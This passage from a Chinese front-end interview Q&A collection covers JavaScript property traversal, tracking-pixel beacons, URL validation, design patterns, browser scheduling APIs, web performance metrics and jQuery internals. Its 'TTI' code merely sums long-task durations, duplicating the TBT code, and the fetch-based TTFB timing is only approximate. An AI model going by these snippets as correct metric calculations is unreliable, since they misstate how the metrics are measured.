Object.defineProperty(source, 'prop3', {
  value: 'value3',
  enumerable: false
});

var target = {};
Object.assign(target, source);

console.log(target); // Output: { prop1: 'value1', prop2: 'value2' }

在以上示例中,enumerable 属性为 false 的属性 prop3 在遍历、获取键名、序列化、拷贝等操作中都被忽略了。

# 118 属性的遍历

ES6提供了5种方法用于遍历对象的属性,它们分别是for...in、Object.keys()Object.getOwnPropertyNames()Object.getOwnPropertySymbols()Reflect.ownKeys()。这些方法在遍历对象属性时都遵循相同的次序规则

  • for...in for...in循环遍历对象自身的和继承的可枚举属性(不含 Symbol 属性)。
  • Object.keys(obj) Object.keys返回一个数组,包括对象自身的(不含继承的)所有可枚举属性(不含 Symbol 属性)的键名。
  • Object.getOwnPropertyNames(obj) Object.getOwnPropertyNames返回一个数组,包含对象自身的所有属性(不含 Symbol 属性,但是包括不可枚举属性)的键名。
  • Object.getOwnPropertySymbols(obj) Object.getOwnPropertySymbols返回一个数组,包含对象自身的所有 Symbol 属性的键名。
  • Reflect.ownKeys(obj) Reflect.ownKeys返回一个数组,包含对象自身的(不含继承的)所有键名,不管键名是 Symbol 或字符串,也不管是否可枚举。

以上的 5 种方法遍历对象的键名,都遵守同样的属性遍历的次序规则。

  • 首先遍历所有数值键,按照数值升序排列。
  • 其次遍历所有字符串键,按照加入时间升序排列。
  • 最后遍历所有 Symbol 键,按照加入时间升序排列。
const obj = {
  [Symbol()]: 'symbol',
  b: 'b',
  10: '10',
  2: '2',
  a: 'a'
};

// for...in
for (let key in obj) {
  console.log(key); // Output: 2, 10, b, a
}

// Object.keys()
const keys = Object.keys(obj);
console.log(keys); // Output: ["2", "10", "b", "a"]

// Object.getOwnPropertyNames()
const propertyNames = Object.getOwnPropertyNames(obj);
console.log(propertyNames); // Output: ["2", "10", "b", "a"]

// Object.getOwnPropertySymbols()
const symbols = Object.getOwnPropertySymbols(obj);
console.log(symbols); // Output: [Symbol()]

// Reflect.ownKeys()
const allKeys = Reflect.ownKeys(obj);
console.log(allKeys); // Output: ["2", "10", "b", "a", Symbol()]

在上述示例中,对象obj的属性遍历次序为首先数值属性2和10,然后是字符串属性b和a,最后是Symbol属性。

需要注意的是,for...in只会遍历可枚举属性且会包括继承的属性,而Object.keys()Object.getOwnPropertyNames()Object.getOwnPropertySymbols()Reflect.ownKeys()只会遍历对象自身的属性,不包括继承的属性

# 119 为什么通常在发送数据埋点请求的时候使用的是 1x1 像素的透明 gif 图片

  1. 完成整个HTTP请求+响应:使用GIF图片可以触发完整的HTTP请求+响应流程,尽管在埋点请求中不需要获取和处理响应内容。这样可以确保埋点请求按照正常的HTTP流程发送,并且服务器也能正常地接收和处理请求
  2. 无需获取和处理数据GIF图片作为埋点请求,不需要获取和处理返回的数据。它只是简单地发送一个GET请求,不需要等待响应或处理响应内容,因此能够快速地完成请求并继续执行后续的代码
  3. 跨域友好:由于GIF图片是通过<img>标签加载的,而<img>标签在浏览器中天然支持跨域请求,因此使用1x1像素的透明GIF图片发送埋点请求可以轻松地实现跨域请求,无需关注跨域限制和复杂的配置
  4. 无阻塞执行:埋点请求通常是为了收集用户行为或统计数据,对于页面的性能和用户体验来说,不应该影响页面的加载和执行速度。由于GIF图片请求是异步的且无阻塞的,页面可以继续加载和执行其他代码,不会因为发送埋点请求而产生阻塞
  5. 性能优化:相比使用XMLHttpRequest对象发送GET请求,使用1x1像素的透明GIF图片能够在性能上更加高效。GIF图片的体积最小,仅需要43个字节(最小的BMP文件需要74个字节,PNG需要67个字节,而合法的GIF,只需要43个字节),而且在网络传输中通常会进行gzip压缩,进一步减小传输的数据量,这对于大规模的数据埋点和统计是非常有利的

综上所述,使用1x1像素的透明GIF图片作为数据埋点请求具有简单、快速、跨域友好、无阻塞等优势,使得它成为常用的数据埋点方式之一

# 120 在输入框中如何判断输入的是一个正确的网址

判断输入的内容是否为正确的网址有多种方式,以下是几种常见的方式:

1. 使用正则表达式判断

function isUrlUsingRegex(url) {
    const regex = /^(http|https):\/\/[\w\-]+(\.[\w\-]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-@?^=%&/~\+#])?$/;
    return regex.test(url);
}

2. 使用URL对象进行解析

function isUrlUsingURL(url) {
  try {
    new URL(url);
    return true;
  } catch (error) {
    return false;
  }
}

3. 使用正则表达式和URL对象的结合判断

function isUrlUsingRegexAndURL(url) {
    const regex = /^(http|https):\/\/[\w\-]+(\.[\w\-]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-@?^=%&/~\+#])?$/;
    return regex.test(url) && isUrlUsingURL(url);
}

综上所述,判断输入的内容是否为正确的网址可以通过正则表达式匹配、URL对象进行解析,或者两者结合使用。使用正则表达式可以简单地验证网址的格式是否正确,而使用URL对象可以更严谨地验证网址的各个组成部分是否有效。选择哪种方式取决于具体的需求和使用场景。

# 122 常用设计模式有哪些并举例使用场景

  • 工厂模式:
    • 使用场景:当需要根据不同的参数创建不同类型的对象时,可以使用工厂模式。例如,根据用户的选择创建不同类型的支付方式对象。
    • 优点:封装了对象的创建过程,客户端只需关注传入参数即可获取所需对象,降低了耦合度。
    • 缺点:增加了代码的复杂性,需要额外编写工厂方法。
class PaymentFactory {
createPayment(type) {
  switch (type) {
    case 'credit':
      return new CreditPayment();
    case 'debit':
      return new DebitPayment();
    default:
      throw new Error('Invalid payment type');
  }
}
}

const paymentFactory = new PaymentFactory();
const creditPayment = paymentFactory.createPayment('credit');
const debitPayment = paymentFactory.createPayment('debit');
  • 单例模式:
    • 使用场景:当整个系统中只需要一个实例时,可以使用单例模式。例如,全局的系统配置对象。
    • 优点:确保只有一个实例存在,提供了全局访问点,避免了重复创建实例。
    • 缺点:对扩展不友好,单例的实例化和使用耦合在一起。
class SystemConfig {
  constructor() {
    // Initialize system configuration
  }
  
  static getInstance() {
    if (!SystemConfig.instance) {
      SystemConfig.instance = new SystemConfig();
    }
    return SystemConfig.instance;
  }
}

const config = SystemConfig.getInstance();
  • 发布-订阅模式:
    • 使用场景:当存在多个对象之间需要进行解耦的消息通信时,可以使用发布-订阅模式。例如,实现一个事件总线用于组件间的通信。
    • 优点:解耦了对象之间的通信,订阅者只需关注自己感兴趣的事件,发布者不需要关心具体的订阅者。
    • 缺点:容易造成内存泄漏,需要手动取消订阅,否则订阅者会一直存在。
const EventBus = {
  events: {},

  subscribe(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
  },

  publish(event, data) {
    if (this.events[event]) {
      this.events[event].forEach(callback => callback(data));
    }
  },

  unsubscribe(event, callback) {
    if (this.events[event]) {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
  }
};

// 订阅事件
EventBus.subscribe('userLoggedIn', handleUserLoggedIn);

// 发布事件
EventBus.publish('userLoggedIn', { username: 'poetry' });

// 取消订阅事件
EventBus.unsubscribe('userLoggedIn', handleUserLoggedIn);
  • 观察者模式:
    • 使用场景:当一个对象的状态发生变化时,需要通知其他依赖该对象的对象进行相应操作时,可以使用观察者模式。例如,实现一个数据的双向绑定功能。
    • 优点:解耦了对象之间的关系,被观察者和观察者之间松耦合,可以动态添加和移除观察者。
    • 缺点:增加了对象之间的相互依赖关系,可能导致系统复杂度增加。
class Observable {
  constructor() {
    this.observers = [];
  }

  addObserver(observer) {
    this.observers.push(observer);
  }

  removeObserver(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }

  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  update(data) {
    // Perform necessary actions with the data
  }
}

const observable = new Observable();
const observer1 = new Observer();
const observer2 = new Observer();

observable.addObserver(observer1);
observable.addObserver(observer2);

// Notify observers
observable.notify({ message: 'Data updated' });

// Remove observer
observable.removeObserver(observer2);
  • 装饰模式:
    • 使用场景:当需要在不修改原始对象的情况下,动态地给对象添加额外的功能时,可以使用装饰模式。例如,给一个基本的组件添加日志记录或性能监测的功能。
    • 优点:遵循开放封闭原则,不需要修改原始对象的结构,可以灵活地添加或移除功能。
    • 缺点:增加了类的数量,可能导致类的层次复杂。
class Component {
  operation() {
    // Perform the component's operation
  }
}

class Decorator {
  constructor(component) {
    this.component = component;
  }

  operation() {
    // Add additional functionality
    this.component.operation();
  }
}

// Create an instance of the component
const component = new Component();

// Create a decorated component
const decoratedComponent = new Decorator(component);

// Call the operation on the decorated component
decoratedComponent.operation();
  • 策略模式:
    • 使用场景:当需要根据不同的情况选择不同的算法或策略时,可以使用策略模式。例如,根据用户选择的不同排序方式对数据进行排序。
    • 优点:简化了条件语句的复杂度,将算法封装成独立的策略类,方便扩展和维护。
    • 缺点:增加了类的数量,可能导致类的层次复杂。
class SortingStrategy {
  sort(data) {
    // Perform the sorting algorithm
  }
}

class BubbleSortStrategy extends SortingStrategy {
  sort(data) {
    // Implement bubble sort algorithm
      console.log('Bubble sort applied');
    // Perform bubble sort algorithm
  }
}
class QuickSortStrategy extends SortingStrategy {
  sort(data) {
      console.log('Quick sort applied');
      // Perform quick sort algorithm
    }
  }
  class Sorter {
    constructor(strategy) {
      this.strategy = strategy;
  }
  setStrategy(strategy) {
    this.strategy = strategy;
  }

  sort(data) {
    this.strategy.sort(data);
  }
}

// Create sorting strategies
const bubbleSort = new BubbleSortStrategy();
const quickSort = new QuickSortStrategy();

// Create sorter and set initial strategy
const sorter = new Sorter(bubbleSort);

// Sort using current strategy
sorter.sort(data);

// Change strategy
sorter.setStrategy(quickSort);

// Sort using new strategy
sorter.sort(data);

总结

  • 工厂模式 - 传入参数即可创建实例
    • 虚拟 DOM 根据参数的不同返回基础标签的 Vnode 和组件 Vnode
  • 单例模式 - 整个程序有且仅有一个实例
    • vuexvue-router 的插件注册方法 install 判断如果系统存在实例就直接返回掉
  • 发布-订阅模式 (vue 事件机制)
  • 观察者模式 (响应式数据原理)
  • 装饰模式: (@装饰器的用法)
  • 策略模式 策略模式指对象有某个行为,但是在不同的场景中,该行为有不同的实现方案-比如选项的合并策略

# 122 原型链判断

请写出下面的答案

Object.prototype.__proto__;
Function.prototype.__proto__;
Object.__proto__;
Object instanceof Function;
Function instanceof Object;
Function.prototype === Function.__proto__;

答案

Object.prototype.__proto__; //null
Function.prototype.__proto__; //Object.prototype
Object.__proto__; //Function.prototype
Object instanceof Function; //true
Function instanceof Object; //true
Function.prototype === Function.__proto__; //true

这道题目深入考察了原型链相关知识点 尤其是 FunctionObject 的之间的关系

# 123 RAF 和 RIC 是什么

  • requestAnimationFrame: 告诉浏览器在下次重绘之前执行传入的回调函数(通常是操纵 dom,更新动画的函数);由于是每帧执行一次,那结果就是每秒的执行次数与浏览器屏幕刷新次数一样,通常是每秒 60 次。
  • requestIdleCallback:: 会在浏览器空闲时间执行回调,也就是允许开发人员在主事件循环中执行低优先级任务,而不影响一些延迟关键事件。如果有多个回调,会按照先进先出原则执行,但是当传入了 timeout,为了避免超时,有可能会打乱这个顺序

下面是 requestAnimationFramerequestIdleCallback 的示例代码:

requestAnimationFrame

当使用 requestAnimationFrame 实现动画时,通常需要更新 DOM 元素的属性来创建平滑的动画效果。以下是一个使用 requestAnimationFrame 的简单示例代码:

function animate() {
  const element = document.getElementById('myElement');
  const position = parseInt(element.style.left) || 0;
  const speed = 2;

  // 更新元素位置
  element.style.left = position + speed + 'px';

  // 检查是否到达目标位置
  if (position < 200) {
    // 请求下一帧动画
    requestAnimationFrame(animate);
  }
}

// 开始执行动画
requestAnimationFrame(animate);

在上面的代码中,animate 函数用于执行动画操作。在每一帧动画中,我们通过获取元素的当前位置,增加一个速度值,然后更新元素的位置。在这个例子中,我们通过改变 left 属性来实现水平移动的动画效果。

在每一帧动画结束后,我们检查是否到达了目标位置(这里假设目标位置为左侧 200px 的位置),如果没有到达目标位置,我们再次请求下一帧动画,从而创建连续的动画效果。

通过使用 requestAnimationFrame,可以实现流畅的动画效果,并且能够与浏览器的重绘周期同步,避免了过度绘制的问题。这样可以提供更好的性能和用户体验。

requestIdleCallback

function processIdleTasks(deadline) {
  while ((deadline.timeRemaining() > 0 || deadline.didTimeout) && tasks.length > 0) {
    // 执行低优先级任务
    const task = tasks.shift();
    task();
  }

  if (tasks.length > 0) {
    // 如果还有任务未完成,继续请求下一次 idle callback
    requestIdleCallback(processIdleTasks);
  }
}

// 添加低优先级任务
function addTask(task) {
  tasks.push(task);

  // 如果当前没有请求进行中,则请求下一次 idle callback
  if (tasks.length === 1) {
    requestIdleCallback(processIdleTasks);
  }
}

// 低优先级任务列表
const tasks = [];

// 添加低优先级任务
addTask(function() {
  console.log('Task 1');
});

addTask(function() {
  console.log('Task 2');
});

addTask(function() {
  console.log('Task 3');
});

在上面的代码中,requestIdleCallback 用于执行低优先级任务。首先定义了一个 processIdleTasks 函数,它会在浏览器空闲时间内执行任务。在函数内部,通过 deadline.timeRemaining() 方法判断是否还有空闲时间可用,并且任务队列不为空时,循环执行低优先级任务。如果还有未完成的任务,会继续请求下一次 idle callback。

然后,通过 addTask 函数向低优先级任务列表中添加任务。当添加任务时,如果当前没有请求进行中,则请求下一次 idle callback 来执行任务。

通过使用 requestIdleCallback,可以在浏览器空闲时间内执行低优先级任务,而不会影响一些延迟关键事件的执行。这有助于提高应用程序的性能和响应能力。

# 124 js自定义事件

三要素: document.createEvent() event.initEvent() element.dispatchEvent()

在 JavaScript 中,可以使用以下三个要素来创建和触发自定义事件:

  1. document.createEvent(): 这个方法用于创建一个新的事件对象。可以使用不同的方法根据需要创建不同类型的事件对象,例如 createEvent('Event')createEvent('CustomEvent') 等。这个方法已经过时,推荐使用更现代的方式创建事件对象,如下文所示。
  2. Event 构造函数:这是现代的方式来创建事件对象。可以使用 new Event(eventName) 创建一个新的事件对象,其中 eventName 是自定义事件的名称。
  3. event.initEvent(): 对于使用 document.createEvent() 创建的事件对象,可以调用 initEvent(eventName, bubbles, cancelable) 方法进行初始化。其中 eventName 是事件名称,bubbles 是一个布尔值,表示事件是否冒泡,cancelable 是一个布尔值,表示事件是否可以被取消。
  4. element.dispatchEvent(): 这个方法用于触发自定义事件。可以将创建好的事件对象通过调用 dispatchEvent(event) 方法分派到指定的 DOM 元素上,从而触发相应的事件处理程序。

下面是一个示例,演示如何使用这三个要素来创建和触发自定义事件:

// 创建自定义事件对象
const event = new Event('customEvent');

// 初始化事件对象(可选)
event.initEvent('customEvent', true, true);

// 获取要触发事件的元素
const element = document.getElementById('myElement');

// 触发自定义事件
element.dispatchEvent(event);

在上述示例中,首先使用 Event 构造函数创建了一个名为 'customEvent' 的自定义事件对象。然后,可以选择使用 initEvent() 方法对事件对象进行初始化,指定事件名称、冒泡和取消属性。

最后,通过 getElementById() 方法获取要触发事件的元素,并调用 dispatchEvent() 方法将自定义事件对象分派到该元素上,从而触发自定义事件。

请注意,这里使用的是现代的事件创建和触发方法,而不是使用过时的 createEvent() 方法。这是因为现代的方法更加简单直观,并且具有更好的性能。

# 125 前端性能定位、优化指标以及计算方法

前端性能优化 已经是老生常谈的一项技术了 很多人说起性能优化方案的时候头头是道 但是真正的对于性能分析定位和性能指标这块却一知半解 所以这道题虽然和性能相关 但是考察点在于平常项目如何进行性能定位和分析

  • 我们可以从 前端性能监控-埋点以及 window.performance相关的 api 去回答
  • 也可以从性能分析工具 PerformanceLighthouse
  • 还可以从性能指标 LCP FCP FID CLS 等去着手

下面是关于前端性能定位、优化指标以及计算方法的一些信息:

  1. 前端性能监控和埋点:通过在关键点上埋点,可以监控网页的加载时间、资源请求、错误等关键性能指标。常用的前端性能监控工具包括自定义的日志记录、第三方服务(如Google Analytics、Sentry等)和开源工具(如Fundebug、Tongji.js等)。此外,window.performance API提供了性能数据,可以通过它获取更详细的性能指标,如页面加载时间、资源加载时间等。

  2. 性能分析工具:使用性能分析工具可以深入分析网站的性能瓶颈,并提供有针对性的优化建议。其中两个常用的工具是:

  • Performance:现代浏览器提供的内置性能分析工具,可通过浏览器开发者工具访问。它提供了时间轴记录、CPU、内存和网络分析等功能,帮助开发者找到性能瓶颈并进行优化。
  • Lighthouse:由Google开发的开源工具,可用于自动化测试网页性能,并提供综合的性能报告。它评估网页在多个方面的性能表现,并给出相应的优化建议。
  1. 性能指标:性能指标是用于衡量网站性能的关键指标,常用的指标包括:
  • LCP(Largest Contentful Paint):标识页面上最大的可见内容加载完成的时间,衡量用户可见内容的加载速度。
  • FCP(First Contentful Paint):表示页面上第一个内容元素(如文字、图片)呈现的时间,标识页面加载的起点。
  • FID(First Input Delay):测量从用户首次与页面交互(点击链接、按钮等)到浏览器实际响应该交互的时间。
  • CLS(Cumulative Layout Shift):测量页面上元素布局的稳定性,即元素在页面加载过程中发生的意外移动的累积量。
  • TTFB(Time To First Byte):表示从发起请求到接收到第一个字节的时间,衡量服务器响应速度。
  • TTI(Time To Interactive):表示页面变得可交互的时间,即用户可以进行操作和与页面进行交互的时间点。
  • TBT(Total Blocking Time):衡量页面在加载过程中存在的阻塞时间总和,即浏览器忙于处理 JavaScript 执行而导致无法响应用户输入的时间。

这些指标可以通过性能分析工具或浏览器开发者工具来获得。优化这些指标有助于提升页面加载速度、响应性和用户体验。

以下是这些指标的计算方法和示例代码:

1. LCP(Largest Contentful Paint):

  • 计算方法:监测到页面上的最大可见元素(如图片、视频等)加载完成的时间点。
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
    if (entry.entryType === 'largest-contentful-paint') {
        console.log('LCP:', entry.renderTime || entry.loadTime);
    }
    }
});
observer.observe({ type: 'largest-contentful-paint', buffered: true });

2. FCP(First Contentful Paint):

  • 计算方法:测量页面上第一个内容元素(如文字、图片)呈现的时间。
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
    if (entry.entryType === 'paint' && entry.name === 'first-contentful-paint') {
        console.log('FCP:', entry.startTime);
    }
    }
});
observer.observe({ type: 'paint', buffered: true });

3. FID(First Input Delay):

  • 计算方法:
    • 测量用户首次与页面交互(点击链接、按钮等)到浏览器实际响应该交互的时间。
    • 计算两个时间点之间的差值,即为 FID
document.addEventListener('DOMContentLoaded', () => {
    const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        if (entry.entryType === 'first-input' && entry.startTime < 5000) {
        console.log('FID:', entry.processingStart - entry.startTime);
        }
    }
    });
    observer.observe({ type: 'first-input', buffered: true });
});

4. CLS(Cumulative Layout Shift):

  • 计算方法:监测到页面上元素布局发生变化时,记录布局变化的量。将所有布局变化的量累积起来,即为 CLS。
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.entryType === 'layout-shift') {
      console.log('CLS:', entry.value);
    }
  }
});
observer.observe({ type: 'layout-shift', buffered: true });

5. TTFB(Time To First Byte):

  • 计算方法:
    • 记录发起请求的时间点。
    • 监测到接收到第一个字节的时间点。
    • 计算两个时间点之间的差值,即为 TTFB。
const startTime = performance.now();
fetch('https://example.com')
  .then((response) => {
    const endTime = performance.now();
    const duration = endTime - startTime;
    console.log('TTFB:', duration);
    return response;
  });

6. TTI(Time To Interactive):

  • 计算方法:测量页面变得可交互的时间,即用户可以进行操作和与页面进行交互的时间点。
    • 监测到页面上的关键元素加载完成的时间点。
    • 监测到所有关键脚本的执行完成的时间点。
    • 监测到用户首次与页面交互的时间点。
    • 计算这些时间点之间的最大值,即为 TTI。
function calculateTTI() {
    const longTasks = performance.getEntriesByType('longtask');
    const blockingTime = longTasks.reduce((total, task) => total + task.duration, 0);
    console.log('TTI:', blockingTime);
}

window.addEventListener('load', () => {
    setTimeout(calculateTTI, 5000);
});

7. TBT(Total Blocking Time):

  • 计算方法:衡量页面在加载过程中存在的阻塞时间总和,即浏览器忙于处理 JavaScript 执行而导致无法响应用户输入的时间。
    • 监测到页面加载过程中 JavaScript 阻塞用户输入的时间段。
    • 将所有阻塞时间段的持续时间累积起来,即为 TBT。
function calculateTBT() {
    const longTasks = performance.getEntriesByType('longtask');
    const blockingTime = longTasks.reduce((total, task) => total + task.duration, 0);
    console.log('TBT:', blockingTime);
}

window.addEventListener('load', () => {
    setTimeout(calculateTBT, 5000);
});

上述示例代码可以在页面中嵌入并运行,通过浏览器的开发者工具或控制台查看相应的性能指标输出。注意,这些示例代码只是基本的计算方法,实际使用时可能需要根据具体的情况进行调整和扩展。此外,为了准确测量性能指标,建议在真实用户环境中进行测试和监测。

使用 web-vitals 库可以更方便地获取和处理性能指标。下面是使用 web-vitals 库的示例代码:

import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

// CLS (Cumulative Layout Shift)
getCLS(console.log);

// FID (First Input Delay)
getFID(console.log);

// LCP (Largest Contentful Paint)
getLCP(console.log);

// FCP (First Contentful Paint)
getFCP(console.log);

// TTFB (Time To First Byte)
getTTFB(console.log);

上述代码使用了 getCLSgetFIDgetLCPgetFCPgetTTFB 函数来获取对应的性能指标,并将结果通过回调函数打印到控制台。

要使用 web-vitals 库,需要先安装该库并在项目中引入。可以使用 npm 或 yarn 进行安装:

npm install web-vitals

然后,在项目中引入 web-vitals

import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

接下来,可以通过调用相应的函数来获取性能指标,并在回调函数中处理指标的结果。示例中使用 console.log 打印结果,但你可以根据需要进行其他的处理操作。

请注意,以上示例代码仅展示了如何使用 web-vitals 来获取指标,实际应用中可能需要根据具体情况进行处理和使用其他工具或方法来进行更全面的性能分析和优化。

# 126 谈谈你对函数是一等公民的理解

JavaScript 中的函数被称为一等公民(First-class Citizens),这意味着函数在语言中被视为普通的值,可以像其他数据类型(例如数字、字符串、对象)一样被传递、赋值、存储和返回。

以下是对 JavaScript 函数作为一等公民的几个重要特性和理解:

  1. 可以赋值给变量:函数可以像其他数据类型一样赋值给变量。你可以将函数定义存储在变量中,并在需要时将其作为值传递给其他函数或存储在数据结构中。
  2. 可以作为参数传递:函数可以作为参数传递给其他函数。这使得函数能够接受其他函数作为输入,并根据需要执行或处理。
  3. 可以作为返回值:函数可以作为另一个函数的返回值。你可以在一个函数内部定义并返回另一个函数,这使得函数能够灵活地生成和返回其他函数。
  4. 可以存储在数据结构中:函数可以存储在数组、对象或其他数据结构中。这使得你可以在需要时使用函数,并根据需求对其进行组合、迭代或操作。
  5. 可以通过字面量或表达式定义:函数可以通过函数字面量(函数表达式)或函数声明来定义。这为我们提供了灵活性,可以根据需要选择不同的方式来定义函数。
  6. 可以通过闭包捕获状态:由于 JavaScript 中的函数形成了闭包,函数可以访问其所在作用域中的变量。这意味着函数可以捕获并保持对外部变量的引用,即使在函数外部不可访问的情况下也可以使用。

这些特性使得 JavaScript 中的函数非常强大和灵活。函数作为一等公民使得我们可以使用函数式编程的思想和技术,如高阶函数、函数组合、柯里化等,以更加优雅和灵活地编写代码。

# 四、jQuery相关

# 1 你觉得jQuery源码有哪些写的好的地方

  • jQuery源码采用模块化的设计,将不同功能的代码模块化,并通过jQuery.fn扩展原型链,使得可以灵活地使用各种功能和方法。这样的设计使得代码结构清晰,易于维护和扩展。
  • jQuery源码中考虑了跨浏览器兼容性,通过封装和处理不同浏览器的差异,使得开发者可以方便地编写跨浏览器兼容的代码。
  • jQuery源码中使用了许多优化技巧,如缓存变量、使用局部作用域、使用原生DOM操作等,以提高性能和执行效率。
  • jQuery源码注重代码的可读性和可维护性,采用了语义化的命名和良好的代码风格,使得代码易于理解和维护。
  • jQuery源码提供了丰富的插件系统,使得开发者可以根据自己的需求扩展和定制jQuery的功能,且插件之间可以互相独立运行,提高了代码的可扩展性和重用性。

这些优点使得jQuery成为一个广泛使用的JavaScript库,并且为众多开发者提供了便利和效率。

以下是一个简单的示例,展示了jQuery源码中的一些写法和优点:

(function( window, undefined ) {
  // 在匿名函数中封装代码,避免全局污染

  var jQuery = function( selector, context ) {
    // jQuery的构造函数

    // 创建并返回一个jQuery对象,通过jQuery.fn扩展原型链

    return new jQuery.fn.init( selector, context );
  };

  // 将jQuery原型指向jQuery.fn,方便使用jQuery.fn的方法
  jQuery.fn = jQuery.prototype = {
    // jQuery的原型对象

    constructor: jQuery,

    // 扩展的方法和属性

    init: function( selector, context ) {
      // 初始化函数
      // ...

      return this;
    },

    // 更多方法...
  };

  // 在jQuery原型上扩展方法
  jQuery.fn.extend({
    // 扩展的方法
    // ...
  });

  // 将jQuery暴露到全局作用域
  window.jQuery = window.$ = jQuery;

})( window );

这段代码展示了jQuery源码中的一些优点,包括使用匿名函数封装代码、通过原型链扩展方法、使用局部变量和缓存、考虑跨浏览器兼容性等。这些设计和写法使得jQuery成为一个功能强大、性能优秀、易于使用和扩展的JavaScript库。

# 2 jQuery 的实现原理

jQuery的实现原理可以总结如下:

  1. 使用立即调用表达式(IIFE):jQuery的源码被包裹在一个匿名的立即调用函数表达式中 (function() { /* jQuery code */ })();,这样可以创建一个独立的函数作用域,避免变量污染全局命名空间。
  2. 创建一个全局变量:通过 window.jQuery = window.$ = jQuery; 将 jQuery 对象赋值给 window 对象的属性,从而使得 jQuery 和 $ 在全局作用域下可访问,方便其他代码使用。
  3. 构造函数和原型链:jQuery 使用 function jQuery() { /* constructor code */ } 定义了一个构造函数,使用 jQuery.prototype 扩展了原型链,从而在构造函数的基础上拥有了一系列方法和属性。
  4. DOM 操作和选择器:jQuery 封装了一系列 DOM 操作和选择器的方法,使得开发者可以通过简洁的语法来操作和遍历 DOM 元素。
  5. 链式调用:jQuery 的方法通常返回 jQuery 对象本身,使得可以通过链式调用的方式进行连续的操作和修改。
  6. 事件处理:jQuery 提供了强大的事件处理机制,可以方便地绑定和解绑事件,并提供了一系列事件处理方法。
  7. AJAX 请求:jQuery 提供了简化的 AJAX 方法,使得进行异步数据请求变得更加便捷。
  8. 动画效果:jQuery 内置了一些常用的动画效果,如淡入淡出、滑动等,可以通过简单的方法调用来实现动画效果。

总的来说,jQuery的实现原理是通过封装和扩展原生JavaScript功能,提供了便捷的DOM操作、事件处理、动画效果、AJAX请求等功能,使得开发者可以更快速、高效地开发和操作网页应用。

# 3 jQuery.fninit 方法返回的 this 指的是什么对象

jQuery.fninit 方法返回的 this 指的是 jQuery 对象本身。当用户使用 jQuery()$() 初始化 jQuery 对象时,实际上是调用了 init 方法,而这个方法返回的就是一个 jQuery 对象,也就是 this。通过返回 thisjQuery 实现了链式调用的特性,可以连续对同一个 jQuery 对象进行操作和调用方法。例如:

var $div = $('div'); // 初始化一个 jQuery 对象
$div.addClass('highlight') // 对该 jQuery 对象调用 addClass 方法
    .css('color', 'red') // 继续调用 css 方法
    .text('Hello, World!'); // 继续调用 text 方法

// 上述操作可以链式调用,连续对同一个 jQuery 对象进行多个方法的操作

在这个例子中,$div 是一个 jQuery 对象,通过调用 addClasscsstext 方法,并在每次方法调用后返回 this,实现了链式调用的效果。这样的链式调用可以简化代码,提高可读性和开发效率。

# 4 jQuery.extend 与 jQuery.fn.extend 的区别

jQuery.extend()jQuery.fn.extend() 是 jQuery 提供的两个方法用于扩展功能。

  • jQuery.extend(object):这个方法用于向 jQuery 添加静态方法,也称为工具方法。通过传入一个对象,可以将对象中的方法和属性添加到 jQuery 对象上,从而可以通过 $.method() 的形式来调用这些静态方法。例如,$.min()$.max() 是通过 $.extend() 添加的静态方法,可以直接通过 $.min()$.max() 来调用。
  • jQuery.extend([deep,] target, object1 [, objectN]):这个方法用于扩展目标对象(target),将一个或多个对象的属性和方法合并到目标对象中。它可以实现对象的深度拷贝,还可以控制是否进行递归合并。第一个参数 deep 是可选的,用于控制是否进行深度拷贝,默认为浅拷贝。目标对象将被修改,同时返回目标对象。这个方法主要用于对象的合并和扩展。
  • jQuery.fn.extend(json):这个方法用于向 jQuery 原型(jQuery.fn)添加成员函数,也称为实例方法。通过传入一个对象,可以将对象中的方法添加到 jQuery 原型上,从而可以通过 $(selector).method() 的形式来调用这些实例方法。例如,$.fn.alertValue() 是通过 $.fn.extend() 添加的实例方法,可以通过 $("#email").alertValue() 来调用。

综上所述,$.extend() 用于添加静态方法和进行对象的合并,而 $.fn.extend() 用于添加实例方法。它们都是为了扩展 jQuery 的功能,提供更多的方法和功能供开发者使用。

当使用 $.extend() 方法时,可以通过以下示例来理解其用法:

// 添加静态方法
$.extend({
  min: function(a, b) {
    return a < b ? a : b;
  },
  max: function(a, b) {
    return a > b ? a : b;
  }
});

console.log($.min(2, 3)); // 输出: 2
console.log($.max(4, 5)); // 输出: 5

// 合并对象
var settings = { validate: false, limit: 5 };
var options = { validate: true, name: "bar" };

$.extend(settings, options);

console.log(settings); // 输出: { validate: true, limit: 5, name: "bar" }

当使用 $.fn.extend() 方法时,可以通过以下示例来理解其用法:

// 添加实例方法
$.fn.extend({
  alertValue: function() {
    $(this).click(function() {
      alert($(this).val());
    });
  }
});

$("#email").alertValue(); // 点击元素时,弹出其值

在上述示例中,$.extend() 用于添加静态方法 min()max(),可以通过 $.min()$.max() 来调用。另外,$.extend() 也用于将 options 对象的属性合并到 settings 对象中,实现对象的合并。

$.fn.extend() 用于添加实例方法 alertValue(),通过选取具有 id"email" 的元素,并调用 .alertValue() 方法,当点击该元素时会弹出其值。

# 5 jQuery 的属性拷贝(extend)的实现原理是什么,如何实现深拷贝

jQuery 的属性拷贝(extend)实现原理如下:

  • 浅拷贝:当使用 $.extend(target, obj1, obj2, ...) 进行属性拷贝时,它会将 obj1obj2 等对象的属性复制到 target 对象中。如果属性值是对象或数组,那么复制的是对象或数组的引用,即浅拷贝。这意味着修改复制后的对象中的引用类型属性时,原始对象和拷贝后的对象会同时受到影响。

  • 深拷贝:如果需要进行深拷贝,即复制对象及其引用类型属性的值而不是引用,可以通过使用 $.extend(true, target, obj1, obj2, ...) 来实现。这样,在拷贝过程中,会递归遍历对象的属性,对引用类型属性进行深度拷贝。

以下是一个示例,展示浅拷贝和深拷贝的区别:

var obj1 = {
  name: "poetry",
  age: 30,
  hobbies: ["reading", "playing"],
  address: {
    city: "New York",
    country: "USA"
  }
};

// 浅拷贝
